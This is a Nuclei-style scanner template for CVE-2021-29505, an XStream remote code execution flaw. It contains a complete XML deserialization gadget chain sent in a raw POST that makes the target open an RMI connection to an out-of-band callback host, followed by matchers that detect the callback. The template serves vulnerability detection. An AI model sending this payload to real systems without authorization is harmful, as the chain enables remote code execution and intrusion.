id: CVE-2021-29505

info:
  name: XStream <1.4.17 - Remote Code Execution
  author: pwnhxl
  severity: high
  description: |
    XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Patched in 1.4.17.
  reference:
    - https://paper.seebug.org/1543/
    - https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29505
    - https://github.com/x-stream/xstream/security/advisories/GHSA-7chv-rrw6-w6fc
    - https://nvd.nist.gov/vuln/detail/cve-2021-29505
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-29505
    cwe-id: CWE-502
    epss-score: 0.03355
    epss-percentile: 0.90358
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: oast,vulhub,cve,cve2021,xstream,deserialization,rce,xstream_project

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <java.util.PriorityQueue serialization='custom'>
            <unserializable-parents/>
            <java.util.PriorityQueue>
                <default>
                    <size>2</size>
                </default>
                <int>3</int>
                <javax.naming.ldap.Rdn_-RdnEntry>
                    <type>12345</type>
                    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
                    </value>
                </javax.naming.ldap.Rdn_-RdnEntry>
                <javax.naming.ldap.Rdn_-RdnEntry>
                    <type>12345</type>
                    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                            <parsedMessage>true</parsedMessage>
                            <soapVersion>SOAP_11</soapVersion>
                            <bodyParts/>
                            <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                                <attachmentsInitialized>false</attachmentsInitialized>
                                <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                                    <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                        <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                            <names>
                                                <string>aa</string>
                                                <string>aa</string>
                                            </names>
                                            <ctx>
                                                <environment/>
                                                <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                                    <java.rmi.server.RemoteObject>
                                                        <string>UnicastRef</string>
                                                        <string>{{interactsh-url}}</string>
                                                        <int>1099</int>
                                                        <long>0</long>
                                                        <int>0</int>
                                                        <long>0</long>
                                                        <short>0</short>
                                                        <boolean>false</boolean>
                                                    </java.rmi.server.RemoteObject>
                                                </registry>
                                                <host>{{interactsh-url}}</host>
                                                <port>1099</port>
                                            </ctx>
                                        </candidates>
                                    </aliases>
                                </nullIter>
                            </sm>
                        </message>
                    </value>
                </javax.naming.ldap.Rdn_-RdnEntry>
            </java.util.PriorityQueue>
        </java.util.PriorityQueue>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "timestamp"
          - "com.thoughtworks.xstream"
        condition: or

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 500
# digest: 4b0a00483046022100a2a040098bcfe81af516d2bb774c882306ff880850adfd589db68a6105f2d992022100c00d549beab826638c4df00a62f1760d9935e2aea60ca37d07281e0a7e44b476:922c64590222798bb761d5b6d8e72950